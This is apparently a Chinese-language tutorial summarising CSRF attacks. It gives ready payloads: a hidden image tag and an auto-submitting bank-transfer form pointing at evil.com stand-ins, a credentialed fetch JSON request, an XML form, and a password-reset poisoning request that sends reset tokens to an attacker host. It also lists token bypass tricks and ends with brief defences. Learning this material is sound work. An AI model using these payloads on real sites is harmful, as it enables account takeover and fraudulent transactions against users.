CSRF总结

Mathieu 于 2024-04-15 发布

CSRF总结

说明

CSRF:攻击者诱骗一个已登录目标网站的用户,在不知情的情况下,访问一个恶意链接或页面,从而以该用户的身份执行了目标网站的非预期操作

关键要素:

  1. 用户已登录并具有有效的会话(Session/Cookie)。
  2. 网站完全依赖会话Cookie来识别用户身份,没有其他机制(如Token)来验证请求的意图。
  3. 攻击者能预测网站操作所需的请求参数(URL、表单字段)。
  4. 用户被动地触发了请求(如点击链接、加载图片、提交表单)。

白话:就是字面理解客户端请求伪造即可,伪造一个恶意请求通过诱导以其他用户的身份发给服务器。

利用

常见情况

  1. GET

    诱导用户点击一个恶意的URL,比如点赞,修改信息什么的,这种方式主要是用与参数GET传递

https://vulnerable-website.com/email/change?email=attacker@evil.com

也可以嵌套在第三方网站的页面JS里
<!-- 在一个论坛帖子或邮件中嵌入 -->
<img src="https://vulnerable-website.com/email/change?email=attacker@evil.com" width="0" height="0" border="0">
  1. POST

    大多数重要操作(如转账、改密码)都使用POST请求。这需要构造一个自动提交的表单。 这种主要操作是模仿目标网站的目标功能的运行流程创建一个恶意的表单,将这个页面置于可控web上,诱导用户访问从而达成攻击目的(burpsuite可以根据抓到的包快捷生成CSRF的恶意payload)

<!-- 恶意页面 evil.com/csrf.html -->
<body onload="document.forms[0].submit()">
  <form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="ATTACKER_ACCOUNT">
    <input type="hidden" name="amount" value="10000">
    <input type="hidden" name="currency" value="USD">
  </form>
</body>

JSON CSRF

这种就是POST但是数据通过JSON发送,但是浏览器默认的<form>无法直接发送application/json内容类型

  1. GET

    类似于常见情况

    payload:

https://victim.com/api/update?json={"role":"admin"}
  1. POST

    需要结合CORS和Fetch API构造<script>标签

     <script>
     fetch('https://api.vulnerable-app.com/profile/update', {
         method: 'POST',
         credentials: 'include', // 关键!携带目标网站的Cookie
         headers: {
             'Content-Type': 'application/json', // 正确的JSON Content-Type
         },
         body: JSON.stringify({ "email": "attacker@evil.com" }) // JSON数据
     });
     </script>
    

基于XML的CSRF (XSRF)

应用接受XML格式(如SOAP API),可以构造一个XML payload并通过表单提交。

<form action="https://vulnerable.com/soap/endpoint" method="POST">
  <input type="hidden" name="xml" value='<?xml version="1.0"?><soap:Envelope>...<email>attacker@evil.com</email>...</soap:Envelope>'>
</form>

常见组合拳

  1. CSRF加XSS

    xss设置HTTP only无法返回cookie时,通过xss返回目标的token,借助这个token构造恶意的CSRF表单进行恶意操作

  2. CSRF密码重置

    1. 先发起一个针对受害者账户的密码重置请求。
    2. 在请求中,篡改Host头或使用X-Forwarded-Host头,将重置链接指向攻击者控制的服务器。

       POST /forgot-password HTTP/1.1
       Host: vulnerable-website.com
       ...
       X-Forwarded-Host: evil-website.com
              
       email=victim@normal-user.com
      
    3. 应用生成的重置链接将是:https://evil-website.com/reset?token=RESET_TOKEN
    4. 受害者会收到一封合法的重置邮件,但里面的链接指向恶意站点。
    5. 攻击者在evil-website.com上部署一个页面,记录下URL中的token参数,然后重定向到真实的重置页面。
    6. 攻击者使用这个token重置受害者的密码,完成账户劫持。

绕过

token泄露

通过xss等获取到token在进行CSRF攻击

Token绑定与可靠性

  1. 如果Token只是简单地生成并验证,但没有与特定用户的会话(Session)关联,攻击者可以先访问表单页面获取自己的有效Token,然后在构造给受害者的CSRF Payload中使用这个Token。服务器验证Token有效,请求通过。
  2. 如果Token的生成算法很弱(如基于时间戳),攻击者有可能预测出受害者的Token。或者Token没有一次性使用的限制,可以被重复利用(重放攻击)。
  3. HTTP方法转换

    某些框架允许通过参数(如_method=PUT)来转换HTTP方法。如果应用在POST请求中验证Token,但对转换后的PUT请求不做验证,则可能被绕过。

     <form action="https://vulnerable-site.com/change-email" method="POST">
         <input type="hidden" name="_method" value="PUT"> <!-- 转换为PUT请求 -->
         <input type="hidden" name="email" value="attacker@evil.com">
         <!-- 可能不需要Token,或者需要尝试预测 -->
     </form>
    

绕过Origin/Referer头验证

  1. 缺失或伪造Referer头
  2. 利用HTTPS -> HTTP降级
  3. 利用域名后缀欺骗或子域名劫持

防御

  1. 同步器token模式

    为每个会话生成可靠的随机的token

  2. SameSite Cookie属性

    限制跨站请求时是否携带 Cookie,从浏览器层面降低甚至根本解决了 CSRF 风险

  3. 验证HTTP Referer/Origin头
  4. 二次验证
  5. API使用JSON格式